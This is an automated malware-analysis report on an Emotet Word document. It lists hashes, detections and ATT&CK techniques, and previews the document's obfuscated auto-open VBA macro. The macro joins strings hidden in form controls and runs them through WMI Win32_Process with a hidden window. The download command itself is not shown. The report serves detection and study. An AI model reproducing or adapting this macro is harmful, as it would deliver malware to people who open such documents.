Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8d262e11a4d725c4…

MALICIOUS

Office (OLE)

123.6 KB Created: 2019-05-24 19:43:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0bede30a3dcfdb5a7da62a85c60e8ced SHA-1: 3d4b7d217cb200d786f2498c0bddddb033354b80 SHA-256: 8d262e11a4d725c4e1282a2702fa6f6afe0dcdd86703fa51c3dec1ae9022c698
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a malicious document downloader by ClamAV, specifically matching the Emotet family. It contains an auto-executing VBA macro (autoopen) that uses CreateObject, a common technique for initiating malicious actions. The macro's primary function appears to be downloading and executing a secondary payload, as indicated by the heuristic firings and the nature of Emotet. No specific download URLs were extracted, but the presence of the macro and the family attribution are strong indicators.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3458 bytes
SHA-256: 1da751c7f64deca13d9751c176ea531036b21bc5a4ab5560cbddbea7a92fe331
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "P8jBzNa, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "YQHIKN38, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "pMW1ir5, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   Debug.Print "k41sonC" + "EPa95Z" + "aQfOjnT6"
Debug.Print ("O3JF7G_" + "vP4ztDFi")
Debug.Print "FZ8jnH8" + ("HPjwKC" + "G_TT9n")
Debug.Print "jniwLiJj"
SLfATq
   Debug.Print "kfdhm8cj" + "w5hOWd" + "DQjC1lti"
Debug.Print ("X1Riah" + "cwuHCZ")
Debug.Print "w1Q9KM" + ("IJYop3" + "KTEluY")
Debug.Print "IO6TI8"
End Sub


Attribute VB_Name = "jTI2jS_2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "WWWhLYmU"

Attribute VB_Name = "PjMvtha"

Attribute VB_Name = "B1iYiB"

Attribute VB_Name = "f7Ew1f"

Attribute VB_Name = "kSuBz5h"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "u4wJ75WS"
Function SLfATq()
Rzwu_M4 = ThisDocument.YQHIKN38 + ThisDocument.pMW1ir5 + ThisDocument.P8jBzNa
   Debug.Print "lpSC1Uo" + "oiwOXk" + "B_wnTZM"
Debug.Print ("WjRP_AS7" + "Gr4uqq7w")
Debug.Print "zKiG5f" + ("uZPGRK" + "z6zidT")
Debug.Print "N1JPF9Y"
ZYzMZub = "mts" + ":Win32_Proces"
   Debug.Print "DVRJCu" + "E7oONf7b" + "NawElp7"
Debug.Print ("koCz_jZA" + "HDvLbz")
Debug.Print "KMAU83qf" + ("zunNFBY" + "Gpszii")
Debug.Print "djPUSR4"
Gacr_q("win" + "mg" + ZYzMZub + "s") _
.Create# Rzwu_M4, TsLHf98A, tRz0P1_, v9uzQuLH
   Debug.Print "DVmfN2" + "T0Q_Fi" + "ApFDLihP"
Debug.Print ("jSp6wf" + "XjRfRz")
Debug.Print "s9KnWR" + ("ISpc3hwX" + "IvfdKvK6")
Debug.Print "jfXQSC"
End Function


Attribute VB_Name = "S0ZGvv"
Function tRz0P1_()
ZYzMZub = "mts" + ":Win32_Proces"
   Debug.Print "ZFjn2i" + "tpHfq2J" + "H8w3Yhc"
Debug.Print ("TmvNoF" + "FAuKpfr")
Debug.Print "hqKOr_0" + ("hnVGjE_l" + "ipBBAF")
Debug.Print "JRicG6"
Set tRz0P1_ = Gacr_q("win" + "mg" + ZYzMZub + "sStartup")
   Debug.Print "suw_SQ" + "puwYnd" + "bWTD_SOJ"
Debug.Print ("AJ13TbJP" + "u1PDV1D")
Debug.Print "Gf0D8Cl8" + ("djmslP" + "waVOXtU")
Debug.Print "FQtJPPOI"
With tRz0P1_
   Debug.Print "pWziOw" + "s34iQlNu" + "muqridzB"
Debug.Print ("SLluUSZp" + "YCcprTs")
Debug.Print "sREJz6" + ("FwWrMj1" + "NJN0Li8W")
Debug.Print "OAAOvw2Y"
. _
ShowWindow = p114S3 + NimOACjz + lIzZNNZ + i6WLPKp + UG4qfZ
   Debug.Print "vSton9" + "wzf2GlD" + "wdGJ1A"
Debug.Print ("YjmfFq0A" + "N5dvaV")
Debug.Print "chj_Htv" + ("JRFFSqs" + "wA2Jj1F")
Debug.Print "zmLCv7Tb"
End With
   Debug.Print "jNzPHDc9" + "wTdSnv" + "DIsGIb"
Debug.Print ("jpERFV3A" + "TOuqZmHF")
Debug.Print "dMC1m7" + ("LhEVFSX" + "iNlbdMtY")
Debug.Print "TtG0Co"
End Function


Attribute VB_Name = "jOpJcfw"
Function Gacr_q(jccD6fZf)
Set Gacr_q = CVar(CreateObject(jccD6fZf))
End Function